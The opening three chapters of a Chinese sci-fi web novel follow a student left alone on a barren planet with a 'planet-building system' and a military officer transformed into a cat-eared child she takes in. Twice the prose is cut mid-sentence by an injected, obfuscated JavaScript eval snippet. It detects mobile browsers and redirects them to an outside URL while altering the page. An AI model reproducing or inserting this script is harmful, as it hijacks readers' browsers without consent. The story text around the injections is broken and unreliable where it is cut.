《掉马，从养崽开始[星际]》 1. 第 1 章 【你是谁。】 【……我……我叫苏落。】 【你如何定义星球存在的必要条件。】 【当然得有人……不，有生物。】 ** 遥远的恒星散发着淡淡的暖白色光芒，洒在一眼望不见尽头的断壁残垣上。 这是一座早已被废弃的城市，到处都是烟灰色、深黑色的残骸，安静极了，没有任何动物生存的迹象。 可就是在这样寂静到可怖的废墟中央，却生长着一棵郁郁葱葱的大树。 这个绿色的庞然大物舒展着枝干向四周延伸，挂满密密麻麻的叶子，间或夹杂一朵朵细小的白色花朵，与一颗颗葱青色果实。 那饱满的果实看上去即将成熟，咚咚坠地。 “咚。” “砰砰——” “这是出口吧？” 半小时前，苏落刚睁眼，视野内光线昏暗。 她还以为睡过头一觉睡到晚上，翻了个身立刻发现不对。 床太硬。 脖子也不舒服。 苏落坐起来，面无表情地活动脖颈，无视耳边的咯吱声。 作为一个大一新生，标准的脆皮大学生，因为睡觉时没有枕头被子，落枕了，多正常。 不正常的是，这是哪儿？ 虽然学校宿舍条件差得和上世纪一样，但跟现在睡地上比，那还是强不少。 苏落仰头，望向头顶的天花板，发现上面生长着些散发微弱白光的小花。 “天花板”长花…… 苏落迟疑地环视四周，只见光秃秃的地面长度、宽度大概都有好几米，它的边沿和四面平滑等高的墙壁完美连接，再加上自带天然灯光的天花板，组成了一个木质的、没有缝隙的，封闭式、全包围的大盒子。 有点眼熟。 有那么两三秒，苏落想自己是不是在做梦。 不然她怎么会睡在大棺材里？还睡到棺材板开出了花？这棺材用的木料是不是没处理过？ 苏落往墙壁上一靠，脸木木的。 虽然有种说法是生前何必久睡、死后必定长眠，但她的心还在跳动啊。 她也没得罪宿舍里谁吧？没和谁有深仇大恨啊？ 多想无益，苏落深呼吸几口，冷静下来，分析当前状况。 身体正常，精神也正常，最关键的，目前氧气感觉还够，她开始琢磨怎么在没有手机的情况下得救。 至于没得救的可能。 苏落行动起来，本能地拒绝成为社会新闻中的遇害者。 屈指敲了一圈，苏落停在一面木墙前，拧着眉毛：“不对。” 敲上去的声音听着和其它面木墙不一样，而且音色太轻了。 “这面墙壁后面好像不是土。” 好消息，她现在连人带盒应该还没彻底被埋进土里，但是。 “这是什么发展？”苏落一头雾水，玩笑般自我安慰，“埋一半遇上泥石流，还特意给我留一面好方便我跑出去？总不会是穿了吧？我连个系统都没……” 【滴。】 “……有？” 苏落沉默下来。 “……” 苏落扯了下嘴角，回忆突兀出现在脑海里的声音，镇定地试探道，“怎么称呼你？直接叫系统？” 【我是星球建设系统，请随意。】 “没了？” 【更多内容，请自行探索。】 “行，我在哪儿可以说吧？”苏落顿了顿，补充道，“哪个星球？星系？” 系统：【星球未命名。星系名称请自行探索。】 “？” 【是否给星球命名。】 好一个“星球建设系统”，从星球名称开始建设。 至于两个回复有区别……听上去星系内应该有人类经过，但是…… “我有星球的所有权吗？”苏落声音虚弱，“或者你有吗！？” 别建设第一步是买星球啊！那真成负翁了！！ 系统：【有。】 苏落长长的松了口气。 “那我还能回去吗？” 【不能，会死。】 “……” “这样啊。” 苏落和自称“星球建设系统”的系统折腾了好一会儿，结合合理的推测，大致弄清当前处境。 过去的她快死了，被系统送到无人荒星上，成功实现星球人口零的突破。作为活下来的代价，她需要帮助系统改造荒星。 星球位于茫茫星际间某个毫不起眼的角落，系统要她在这儿多多种地种动植物，最好能种满全星球。 在这个过程中，系统会提供一定的、有限的帮助。 “植物就算了，动物怎么种？” 【部分动物可以从地里种出来。】 苏落心情本不算好，闻言都忍不住笑了：“挺有意思的。” 她拿起系统提供的营养液，凝视片刻，尔后一口喝完。 一管顶一天、每天限量一管的营养液，效用如何，只能明天看。 苏落另一个关注的重点：“你能联网不？局域网互联网都行，或者星际网络？” 有人类经过的地方，就应该会有网络！系统，你可是系统啊，区区联网，易如反掌！ 系统：【能量不足，无法连接星网。】 哦。 苏落有点失望，但她对“星网”一词背后的含义感到高兴，无视了满口“能量充足后如何如何”的系统，问她该怎么出去。 棺材再大，不宜长期居住。 系统顿了顿，给苏落指出具体方位。 就在苏落一开始发现不对的墙壁上，偏右下的位置开了一扇一人高的可以离开的门。 它和墙壁一样平滑、几乎融为一体，也因为出口几乎和墙壁长在了一起，或者说它们本来就是一体的，推开它稍微需要一点力气。 苏落推门的力道逐渐加大。 “砰。” 出口纹丝不动。 苏落思考要不要踹门，苏落开踹。 苏落随口问：“这门还能不能打开了。” 系统冷不丁道：【即将打开。】 “砰哐——” 伴随着脑海里的声音，坚-挺许久的门哐一下飞出去。 苏落反应快，迅速用右手死死抓住门框，稳住半只脚踏空的身体，成功避免自己跌出去。 这一刻，温暖的阳光挤进昏暗的空间，开阔的天地就此展开，苏落的双眼盈满了生理泪水。 明明在黑暗的地方待久了，不该立刻接触亮光，但她怎么都不愿意闭上眼睛。 极目远眺，蔚蓝的天际下，是各式各样倾颓的人类造物，浓重的灰尘覆盖其上，昭示着岁月的流逝，尽显荒凉。 抬头仰望，茂密的大树身躯巍峨，直径上千米，高不见顶。灰褐色的树干霸道地推开曾经矗立在土地上的一切，傲然挺-立。 苍翠的枝叶下，鼓胀的青果和细小的白花挤挤挨挨，呈现一种截然相反的生机。 望着不见尽头的树顶，苏落左手无意识抚上胸口，心中翻涌着一股纯然的、连她自己也不清楚缘由的喜悦。 我喜欢这里。 苏落很纯粹地笑起来，她无比清楚地意识到这份开心的来源。 半晌，苏落才开口，声音轻快：“系统，你是想谋-杀我吗？” 苏落确实如她猜的一般，没被彻底埋进土里，但埋树里实质上也没差多少。而且大树很高，高到她所在的位置即便是很偏下的地方，依然距离地面好几米。 “我掉下去没了，你是不是准备找下个人来完成任务？” 话虽这么说，她的神情很轻松。 一来，苏落目前没有感受到系统对她存在恶意，而且她要是死了，系统相当于做了白工。二来…… 她喜欢这里，很喜欢很喜欢。 之前系统曾问是否现在命名星球，苏落觉得取名不能太草率，拒绝了。现在看来，拒绝得很正确。 这颗星球当然值得一个精挑细选的名字。 但有些问题还是得问清楚。 【不存在你失足死亡的可能性，也就不存在第二人可能性。】系统听上去有些无语。 苏落看看脚下的风景：“这种高度我怎么活？” 【你可以使用精神力作为反冲力缓冲，也可以用精神力强化躯体。】 “精神力是什么？怎么用？”苏落站直身体。 她就说，星球上没其他人，机器什么的目前也没见着，要是只有她一个普通脆皮大学生，那得花多少年才能推进任务。 【精神力是生物的本能，你会用。】 这下轮到苏落无语。 她怎么不知道她会用？ 发现系统没有改口的意思，苏落仔细回忆过去的记忆，确认过去的世界只是个普通科学世界，自己更是个普通人没有超能力。 思索间，苏落想了想，问：“你为什么挑中了我？” 系统没有第一时间回复。 苏落下意识地合拢掌心，指尖立刻感到一阵疼痛。 她倏然扭头，看向右手，震惊到出声：“这洞是我挖的！？” 苏落的手指纤长骨感，肌肤瓷白，和烟火气一点不沾边。 但就是这看上去荏弱的手，之前支撑住她没掉下去，现在更是在坚硬的树干上掏出了五个和手指严丝合缝的坑。 苏落小心翼翼地拔出手，低头看了看。 皮肤光滑，没有丝毫受损的迹象。 再抬头……好清晰的痕迹，只需一看，都能想象出当时是从哪个方向怎么发力的。 她的力气什么时候大到能轻松挖木头了？ “因为我无意间使用了精神力。” 虽然还是不知道为什么自己能用，但都这个境地了，有些事可以先放着不管。 苏落得出合理解释，表情释然：“刚才怎么用出来的？我想想。” 她闭上眼，酝酿一会儿，尝试着调动所谓的精神力，想象自己力能扛鼎，想象手上覆了一层精神力的保护膜。再睁开眼，伸手向下，成功在树干上再次戳出个坑，皮肤也完好无损。 “是挺简单。” 苏落很满意，她开始勤勤恳恳地从墙壁上挖木块下来，并把每块削成大小约两个巴掌大，再将表面打磨平整。 【……】沉默中，系统终于发声，【没有理由，就是你。】 它强调道：【只有你。】 苏落没说信还是不信：“谢谢。” 系统没再回复。 苏落也不在意，她掂了掂木块重量，蹲在出口边缘，一块一块地往下抛。 木块受星球重力影响，自然地下坠，然后悬停在地面上方。 这是离地面最近的最后一阶“台阶”，以木块为基底，用精神力托举。 随后倒数第二阶，倒数第三……一直到离苏落最近的第一阶台阶。 这一列小巧的木质台阶无论水平间隔还是垂直间距都是一样的，透出规整严肃的感觉，但它凌空而立，又充满危险。 根据台阶与台阶间的垂直间距，苏落算出当前高度，五米不到，哪怕真掉下去也不会出大问题。 苏落笑了笑，稳稳地踩在台阶上，稳稳地，一步一步朝下方走去，最终踩在厚重无声的大地上。 “成功。”苏落转身看着树洞方向，声音轻松，“系统你看，我的方法比你的提议安全得多。” 与其靠临场反应、强行用身体硬抗，不如借助工具，更简单便捷。 系统不发表评价，而是说：【请建立一处驻地。】 “强制任务？” 【不，是建议，驻地作为日常起居使用。】 “好。” ** 宇宙浩瀚广阔，蕴藏诸多资源、神秘未知，引得无数人前赴后继，又危险莫测、幽寂无声，吝于对行走其间的人类提供任何帮助。 诺瑟帝国军部第七集团军所属舰船，不自然地悬停在一条从未走过的航路中，或者说，作为帝国最先进的军事造物，它正在解体。 “少将，”一身黑色制式军服的青年男性推开指挥室舱门，快步走近，“舰船前后分离即将完成。” 站在中央控制面板前的白发少将闻言抬起头，露出一双暗红色的瞳孔。 面对生存空间缩小一半的困境，莱弗·法卡斯少将眉眼间没有丝毫的慌乱：“再次检查，确认所有舰载人员已全部撤离，确认留下舱室内机要资料和文件已成功销毁。” 他的神情是一如既往的无波无澜，只有身前控制面板上飞速闪过的无数字符，才能说明当前情况的紧急程度。 少将的精神力还是这么强悍。 副官视线扫过，心里的感慨下一刻就淹没在更多亟待解决的手续中。 几个呼吸后，前半部舰船一个加速，飞快脱离原定轨迹，拉开距离，同时表面泛起一层朦胧的保护光膜，隐匿起来。 而后半部分孤零零地留在原地。 “——” 没有特殊装置，太空中听不到声音。 可就在舰船彻底分离时，后方仿佛传来一声低低的咆哮，似乎什么东西正不甘地低鸣。 “分离完成，舱内暂时并未出现异常。”副官看向上司。 “以留下的半截舰船为诱饵，开始尝试捕获。”莱弗·法卡斯想到什么，果断下命令，“时刻准备开启跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184507|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迁。” 此次跃迁，意味着撤离。 这不符合少将一贯强硬的作风。 副官心惊之下，毫不迟疑地执行命令。 这是他们的指挥官，战绩、实力出众到以少将之职扛起整支集团军之责的将军，是永远站在他们前方的将军。 “诱捕装置正常启动，传输回来的数据……天啊，果然！数据显示分析到了新的未知物！未知生物？” “尝试捕捉……等等，捕捉失败！未知物逃脱！未知物可以在实体和无实体间转换！？启动备用抓捕计划一！” “将异常数据和分析方式加入防护程序！现在！警戒度提到最高！”莱弗·法卡斯沉吟片刻，指挥道，“确认捕获危险等级在风险许可内，如果无法捕获完整个体，尝试截断部分切片。” “是！” “……失败……备用计划十六……后舱完整度不足31%……最后一个备用计划。” 为了这次的行动，莱弗·法卡斯推算良久、筹谋种种，还违逆了参谋长的意见。 面对失败的可能，他冷静得不可思议：“数据传输完备份三份。如果最后一个计划失败，开启对面舰船内自毁程序，并立刻跃迁。” 副官深呼吸，低声道：“是。” “……失败，未知物即将逃离！” 莱弗·法卡斯眼神一凝。 “等等！少将！”此趟行程特意带上的科研人员盯着终端大喊道，“未知物停下来了！数据显示它的能量强度降低了一半！” 莱弗·法卡斯凝神看去，当机立断：“最低限度启动所有捕获程序。” “残片捕获……成功了！？等等……它的主体消散了！？” 完好的半艘舰船在太空中徘徊、检测许久后，警戒等级终于稍微降低。 莱弗·法卡斯下令弹出无人小型飞船，远程控制其中的智能小机器人去回收收容了未知物残片的容器。 科研人员紧盯监控界面，看着士兵通过精神力操纵小机器人回收残片，满心满眼都是渴望。 一个全新的、以往从未有过任何记录的物质/生物？这会给科学界带来多少崭新课题！ 看着回收完毕，踏上回程的小型飞船，研究员迫切地来到接驳舱等待。 身旁是全副武装的精英小队，和他们的少将。 莱弗·法卡斯的机甲存放在右腕的储物手链中，此刻，他将手链卡在手指间，方便取用。 同样出身第七集团军的研究员看看呈现保护姿态的指挥官，思索着这东西说不定可以让少将再升颗星星，试探着询问：“这是少将您率人捕获的，您要不要给这未知物命个名？” 莱弗·法卡斯对命名一事没有兴趣，他看着进入接驳舱的小型飞船，仍在思考，只低声重复道：“未知物么？” 霎时，一股玄之又玄的异样共鸣袭来，莱弗·法卡斯瞬间在小型飞船前竖起一层精神力保护网，并抬手放出机甲挡在研究员，以及所有工作人员前方。 未知攻击被精神力网拦下，与此同时，莱弗·法卡斯的精神力开始暴动，每一根神经末梢都传来剧烈的刺痛。 他表情不变，用强大的意志力压下所有疼痛，压制所有暴走的精神力。 所有人神情骤变，气氛立刻紧张起来。 下一秒，那在小型飞船中安静多时的未知物残片，挣脱收容容器的束缚，转化为无实体状态，漫出飞船，一小团淡淡的灰色气态在所有人面前显现。 顷刻间，接驳舱充满喧嚣，硝烟弥漫。 因为提醒及时，也许是因为未知物不完整，精英小队等人默契配合，很快制服未知物，它被迫安分下来，重新转为实体，被封入层层加密的特制仪器中。 危机解除，莱弗·法卡斯才撤掉精神力保护网。 他的头更疼了，往日驯服的精神力狂暴不已，疯狂躁动着，想冲出他的身体，想摧毁周围一切。 “……少将，少将！”副官焦急的面孔出现在眼前。 莱弗·法卡斯有一瞬间失去了意识，他费力地眨了下眼睛，虹膜红得仿佛在滴血。 “控制住了？” “控制住了。”副官被莱弗·法卡斯留在舱外作为后手，本来只是当个最后的保险，没想到真出事了。 他扶住长官，不在意长官刚才对他有攻击倾向。 “您没事吧？要去医疗室检查吗？”他心中后怕又厌恶。 “好。” 莱弗·法卡斯仍在头疼，仿佛要破开大脑一般的疼。 他松开副官扶住他的手，往前走了两步，没有收回机甲，而是表情平静地命令道，“通知接收方，叫他们提高警备和接收等级。接驳舱内所有人在抵达接收地前留在原地不得走动。” 副官说了声是，然后不安地小声询问：“我给您调个医用检查仓？” “这里所有人都要检查。”剧痛间，莱弗·法卡斯仍在思索此次行动可能引起的诸多震动。 见长官同意，副官立刻低头点开终端，避开长官隐晦的责备。 他一边给军部总参谋部、帝国第一研究所、军部科研院群发完消息，一边疯狂呼叫随舰医师。 “少将，我……” “砰。” 手链落地的声音清脆刺耳。 “少将？” 副官愕然抬头，眼前一览无余，再无他人。 “少将呢！？” “谁做的？！” 无数哗然响起，震惊、愤懑的火花点燃四方。 无论第七集团军实权一号人物莱弗·法卡斯的离奇消失，在舰船中、在帝国内引起了多少的波澜。 现在。 “小朋友，你还好吗？” 苏落表示，她只是离开驻地去取个水，结果在冰凉的溪水里发现了一个短手短脚的白发小男孩。 当时小男孩还在昏迷，半边身子都浸在溪水里。 苏落不假思索，冲过去把孩子捞出来。 小朋友应该没落水多久，因为她一碰到他，他就醒了过来。 就是小朋友有点应激，抓她胳膊的手劲不小。 成功把小朋友捞上岸，苏落控制自己别老是看男孩头顶湿漉漉的耳朵、身后潮乎乎的尾巴，努力摆出平常的表情。 “我是苏，你叫什么？” 男孩睁着一双红色的眸子，看看自己，看看周围，最后看了苏落好久。 就在苏落怀疑小朋友能不能听懂她说的话，怀疑小朋友落水后已经感冒发烧脑子也烧了说不出话时，男孩终于开口了，他神情平静，带着一种超乎年龄的镇定。 “我叫卡西。” “你好，卡西。” “你好，苏。” 2. 第 2 章 自称卡西的男孩穿着短袖短裤，坐在干燥的地面上，沾水后衣物全贴在身上，风一吹，他小声地打了个喷嚏。 随着动作，头顶的两只形似猫耳的耳朵轻轻晃了晃。 那就是猫耳吧。 好可爱。 苏落在心底感叹一声，蹲下来，不抱什么希望地问：“你有换的衣服吗？” 当下约莫是秋天，温度不高不低。小孩子落水后不及时处理，很可能会感冒。 她的话，只有长裤沾了些溪水，衣服还好，但就一件，没法脱。 其实苏落更想问的是：小朋友你来自哪里？通过什么方式来的？ 苏落非常确定，系统说过这颗星球上就她一个活着的人类。 她之前特意问过系统，人类能不能从地里种出来，她对“种植人类”这一行为比较抵触。 系统严肃表示人类种不出来，并解释说星球太偏僻，接下来的一段时间内，人类抵达的可能性非常低，苏落只能独自完成任务。 苏落习惯独处，并无异议。 但现在，星球人口从零突破到一后，又在一周的时间里，从一突破到二，真快。 苏落看着小男孩。 只是个偶然吗？ 不见得。 要么，卡西登陆星球的方式有问题，要么，系统在诓她。 再或者，系统背着她搞事。 鉴于小朋友年纪还小，看上去也就五六岁，小脸也白的几近透明，苏落不好太直接地问。 真问了指不定也问不出个一二。 她也不想在外人面前暴露系统的存在，只能回头找系统聊聊。 “我不知道有没有能换的衣服。”卡西用力抿了抿嘴唇，左右看看，表情还算冷静，他小声问道，“苏姐姐，这是哪里？” 苏落懂了，小朋友这是不安了。 也是，对苏落来说，卡西突然出现在荒星上，苏落对此很不理解。对卡西来说，他同样也是突然换了个地方，他也不理解为什么往日熟悉的事物全部消失，环境变了，只有面前陌生的人。 但问题是。 “这里是个已经荒废的无人星。”苏落真没骗人，“名字我也不知道。” 过去的星球名不知道，也不重要，至于以后的名字，她还没想好。 卡西把手背在身后：“那，苏姐姐你能送我回去吗？” 苏落注意到小朋友身后的尾巴晃了晃，似乎有点焦虑。 她叹了口气。 距离苏落醒过来才过了一周，且不说她对外面的世界基本上是一无所知，星球建设任务的进度条几乎没涨，没有系统的帮助，她不可能离开，更不知道如何离开。 “抱歉。” “苏姐姐不需要说抱歉。” 出乎苏落意料，卡西摇摇头，认真道，“苏姐姐你救了我，我该对你说谢谢。” 苏落下意识说：“不用，这是我应该做的。” 看见卡西不认同的神情，她怔愣片刻，接着露出一个细微的笑容，“你还那么小，正常人看到了，都会帮你的。” 只需要搭把手，一般人不会见死不救。 更何况对方还是个未成年。 理是这么个理，但遇见的是个礼貌知道感谢的孩子，很让苏落开心。 “你我都需要换衣服，”她想了想，提议道，“卡西，你愿意跟我回家吗？” 卡西站起来，背脊挺直，他凝视苏落，声音很轻地反问道：“苏姐姐，你愿意收留我吗？” 随着卡西从坐到站，苏落看过去的视线逐渐抬高，到最后几乎持平。 苏落也站起来，克制地摸摸懂事孩子的头：“当然。” 心想，如果系统没再出错，星球再大，小朋友你也只能跟我走。 苏落告诉卡西，这里离她的屋子不算远，走路的话需要三十分钟左右：“能坚持吗？我牵着你走回去？” 实在不行她抱着小朋友回去也行，精神力真好用。 卡西仰着头拒绝了。 精神力被压制了。 卡西——真名莱弗·法卡斯的男孩跟在自称苏的青年女性身后，不动声色地观察四周，不断在心里做出猜测，又不断推翻。 或者说，自他睁眼的那一刻开始，无数的衡量、评判、试探，业已展开。 恒星光照的角度、强度，气温、湿度，空气含氧量，醒来时那条溪水的深度、走向，溪水附近没有树木，更没有动物经过、喝水留下的痕迹，土地…… 从目前搜集到的种种信息看，这的确是个荒星。 也是个奇怪的星球。 如此条件合适到优秀的星球，哪怕没有人类居住，也应该有生物生存，可到现在为止，他一个也没见到。 除了眼前这位本地居民苏。 苏更是浑身疑点。 他为什么失去意识？如何来到这个陌生星球？ 他为什么会变成小孩模样，还多长了些东西？精神力不再暴动，但为什么被抑制了？ 舰队完整返程了吗？未知物残片有安全储存并交接吗？他的下属们检查结果怎样？ 军部总参谋部，其他集团军，还有皇室，对此次事件又会给出什么定义？他如何在最短时间内安全脱身，顺利回去？ 种种的一切，会和苏有关吗？苏有什么目的？ 苏抱着怎样的心态接近的他？ 法卡斯记得，昏迷前自己处于精神力暴动状态，神经紧绷，熟悉的副官靠近，他都会下意识攻击。 苏一个陌生人触碰到刚从昏迷状态惊醒的他，他的反应只会更剧烈。 法卡斯微微低头，精神力无声在手心汇聚、压缩，一秒后快速消失。 他现在的精神力储备、强度，大约不到正常状态的一成，倒是和十岁时相差无几。 法卡斯余光轻轻扫过苏的四肢。 皮肤光滑完整没有任何伤痕，肌肉基本没有。 他非常确定，十岁时的他爆发起来，可以轻松扭断这类人的身体。 除非她用精神力强化了躯体。 究竟什么人会时刻用精神力强化躯体？或者有预感，提前准备抗下他的爆发？ 现在又表现的和精神力普通的平民一般，假装什么都没发生过？ 还是说，她真的没有发现异常，只把他当成小孩子？ 法卡斯视线放低，安静看着地上的两只影子，眼中的阴霾一闪而过。 没发现异常，就是最大的异常。 苏落一边慢慢走，免得小朋友腿短跟不上，一边时不时和卡西说说现在的状况。 这一周以来，苏落从废弃城市中央，走到了城市和荒野连接的地方，先后在各种破败或还算完整的楼房内住了一阵子，最后决定在临近废城的野外重新建个住处。 一来，不需要再费心去甄别房子是否还能住，哪里岌岌可危一碰就倒，二来，种地总得先有土地。 苏落选定距离废城中央大树最近的郊区，先用精神力“扫”了一遍，把上面零散的残渣扫开，然后回到大树下，用精神力挖木头，挖完后再运回去。 钢筋、混凝土现在弄不出来，先造个木屋。 得亏中央大树够大够挖，苏落精神力使用熟练度上来了，一个来回就搞定。不然光来回搬木头这个过程，就得多花好几倍时间。 即便如此，苏落也累够呛，还考虑过要不干脆直接住中央大树身上。 最后败在住树里的话，需要用精神力开垦周围废弃建筑所在区域。 那么多高楼大厦，得开垦到猴年马月。 随后，苏落在系统的指导下，花了一天，建了个一层小房子。 小屋有三间房间，一间作为起居生活使用，一间用来洗漱，一间当仓库，装那些没用完的木头，和系统提供的动植物的种子。 等屋子建好，系统听完苏落对小屋的规划，告诉她，可以去废城里找找，应该能找到还能使用的储物匣子，一个普通匣子就能放下整个小屋能放下的东西。 苏落听完气笑了。 这时候才说？ 她又进废城找了半天，路过无数只有碎渣的房子，从尘封的大型仓库里翻出个精心保存、还能用的储物匣子，又找到些处理一下还能用的器具，就叫系统闭麦别吱声，她这两天不想和它说话。 系统听话地当个哑巴。 要不是每天正常兑换营养液，苏落都以为系统消失了。 等会儿一定要问问系统，最近都做了什么。 苏落专注于想系统的事，一时间忘记放慢脚步，走了两分钟才回过神，连忙转身。 “苏姐姐，不走了吗？”一停下来，卡西就紧张地仰头询问，张口时有些喘气。 是怕她丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184508|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下他、不要他吗？ 苏落微妙地想，她也没做过什么，怎么自己在小孩眼里的形象有点可疑。 是她太敏感，还是小孩想太多？ “刚才的速度是不是快了点？你现在感觉怎么样？” “可以的。”男孩立刻点头，“我能跟上，姐姐放心。” 苏落打量胸口快速起伏的小孩，给他的话打了个叉。 “你能跟上，但有点吃力，对吧。” 男孩欲言又止。 “为什么不和我说？”苏落没想明白，选择直接问。 “姐姐……”卡西眨了几下眼睛，似乎在考虑怎么说。 “姐姐，别！” 苏落一把抱起男孩，以一个不算特别亲密的姿势，让男孩坐在她手臂上。 “想归想，不能停下来不走。”这一次，苏落终于如愿以偿。 她轻轻弹了弹卡西的猫耳，看着它们警醒地转动，温和地说，“再耽搁下去，你真要生病了。” 没有需要照顾走路速度的小孩子，苏落返程的时间迅速缩短。 就在小屋进入两人的视野时，卡西凑到苏落耳边。 “抱歉，苏姐姐。” 他的声音里有一些难为情，听上去很不习惯向别人剖析自己，“姐姐已经帮了我很多，我不想再给姐姐添麻烦了。” “所以就强迫自己？” “不算的。我过去尝试过，没问题的。” 侧头看看男孩平静到乖巧的模样，苏落有想过问他家长怎么带的孩子，但最后什么都没问，而是说：“过去是过去，在我这里，你要听我的，以后有觉得勉强的地方，一定要说出来，知道了吗？” 她表情没有变化，声音温柔了很多。 卡西慢慢坐直，点点头：“知道了。” 苏落快步走进小屋，放下小孩，目标明确地翻出一条毛巾。 “你先用这个擦擦，其它的我再给你找。” 卡西接过毛巾，提醒道：“姐姐你的衣服也湿了，你先换好不好？我怕姐姐你生病。” “马上。” 苏落把储物匣子里的水倒进光能热水器的水箱中，摁开开关，推男孩进洗漱间：“我去换衣服，你先洗个热水澡。” 顿了顿，她迟疑地问，“你能一个人洗吧？” “能！”卡西回答得很快。 苏落想想自己就在隔壁，叮嘱一句有问题喊她，关门换衣服去了。 只剩自己一人，卡西定定地看了会儿简陋的房门，转身观察洗漱间，回忆苏特意讲过的使用方法，慢条斯理地开始洗澡。 她确实对他心怀善意。 法卡斯冷静到冷酷地整理线索。 提前讲述工具用法，回程时的种种关照，都能说明苏是好心。 更关键的一点，他距离她太阳穴那么近，她一点不反感，不害怕。 这可以解释为苏不认为他能伤到她，有恃无恐。 但从苏的反应来看，法卡斯判断苏没有接受过正经的战斗训练，没有防备的意识。 可这解释不通为什么苏的“家”里只有她一个人，而且看上去才刚刚建好。 法卡斯故意放慢洗澡速度，思索着自己在苏面前的表现是否符合他计划的性格。 不，还不够。 法卡斯审视自我，进一步完善“卡西”。 我应该…… 法卡斯的思考被打断。 我应该洗耳朵和尾巴了。 法卡斯低头望着被他放在最后处理的两个突然长出来的……器官，一时间，少见的大脑放空好一阵。 从孩童到青年，再回到孩童时代，这是真实的逆生长？付出的代价是多长了两个耳朵一条尾巴。 还有其他人遇到过相似的情况吗？不清楚。 他是不是第一个？法卡斯也不清楚。 法卡斯面无表情地搓尾巴，尾巴害怕似的想挣脱，他一把握住。 法卡斯眼神冰冷地搓耳朵，耳朵不适应地转动，他轻轻按住……耳朵还是甩了周围一圈水。 他能清楚确定的是，完善“卡西”性格时，必须要将耳朵和尾巴的因素考虑进去。 人类在进化的过程中，进化出用途广泛的精神力，更该进化掉不能完全受人类控制的器官，比如说耳朵和尾巴。 那么，是人体试验？ 3. 第 3 章 法卡斯关上水，擦干耳朵尾巴，再用一旁的抹布收拾洗漱间。 娴熟的行动间，他能感觉到身体缩水带来的影响，不止精神力，各种感官同样发生不小变化，需要花时间适应。 法卡斯边做边思索，现存的哪方组织、哪方势力，可以从军部集团军所属舰船上，在无数士兵、监控的严密注视下，劫走他们的指挥官？ 半晌，他谨慎地给出答案：几乎没有。 杀了他都比劫走他的成功率高。 那是未知的超规格的群体或个人做的？ 问题又绕回来，在对方缜密谋划、完成几乎不可能完成的任务后，在对方将他变成这样后，为什么把他遗弃在这颗荒星上？ 是看不上他所代表的集团、利益关系，还是看不上他本人作为实验体能带来的巨大收益？ 如果对方具备正常逻辑，不可能劳而无功。 那么，这颗星球本身就属于人体试验组织，是它的室外实地观测点？ 法卡斯回忆和苏的短暂相处，认为苏作为“好意帮助意外落水孩童的成年人”，是合格的、正常的，但作为实验体管理者，她的行为前后矛盾，极不符合常理。 更何况，他实际上并不是真正的孩子。 而苏看上去并不知情。 法卡斯闭了闭眼，这个猜测也有很多漏洞。 他将疑团暂时放下，确认洗漱间干净整洁，才轻轻推门。 苏落收拾完自己，正在仓库房间里，她敏锐地听到动静：“衣服我放门口了，你记得换。” 不一会儿。 卡西拎着自己换下的湿衣服过来，问该怎么处理，苏落让他就放洗漱间里。 等会儿还得去找个洗烘衣服的机器。 苏落在待办清单上加了一笔，问：“你累不累？累的话，门旁边有个椅子，可以坐着休息。” 她一边操控精神力加工木头，一边安排男孩，“想喝水的话去中间的房间，里面桌子上有热水。” 卡西目前没有能帮忙的，于是听话地来到中间的房间。 他隐蔽而快速地扫了眼苏居住的空间，径直走到比他整个人都要高的木桌旁，踩在苏特意准备的小凳上，顺利用杯子接水。 饮用水温度合适，温暖的触感从杯子蔓延到手心，也仅停留于皮肤表面。 不太对。 哪怕苏仍优待他，直觉却向卡西发出警告。 数分钟过去，苏落终于把木头加工成窄小椭圆形的长条。 “姐姐喝水。” 苏落诧异地转身，发现卡西并没有坐在椅子上，而是安静地站在仓库房间门口，小小的两只手还合起来举了个水杯。 “你……”苏落忍住了，没在卡西面前叹气。 她拿过水杯，推着卡西把他按在门外的椅子上，又进屋拎了把椅子，出来坐下。 “你体力很好，很棒哦。”苏落想，这半上午，小朋友折腾来折腾去，居然还有精力，得表扬表扬。 椅子本来是苏落做给自己用的，对卡西来说，稍微有点高，坐上去脚会悬空。 但他坐的很板正，背挺直，脚也规规矩矩的，一动不动。 “姐姐更能干。”卡西看苏落喝完水，才问，“姐姐，那些木棍要做什么，有什么可以我来的吗？” 好勤快的小孩。 放在卡西身上，苏落不觉得意外。 不过。 “等会儿我准备把这边围起来，”她语气委婉，“那些木棍单个不算什么，但数量多了对你来说可能太重。” 卡西看了看掌心，又抬头看向屋外堆好的木棍，眉毛拧起来。 苏落觉得今天一天的叹气次数比过去一周加起来还多。 “你饿吗？”她突然问。 卡西疑惑地摇头。 “那就好。”苏落摊开手掌，掌心有一颗圆圆的青色小种子，“我打算在附近种些东西，等会儿能帮我撒种子吗？” 卡西用力点头：“好，姐姐放心，这个我肯定能做到。” “行。” 说干就干，苏落走进仓库房间，拿出前几天存放在这里的几袋种子。 卡西跟在一旁，好奇地问：“所有的都要种吗？” 单个种子袋的容量比最小号的牛皮纸袋还小，苏落看了它们几秒，利索地拿了个大号的木框，把所有种子全倒进去。 “咱们随机种，拿到哪个种哪个。” 卡西沉默数秒，视线在苏落认真的表情和混合种子间往返，最终迟疑道：“苏姐姐，这样它们会发芽吗？” 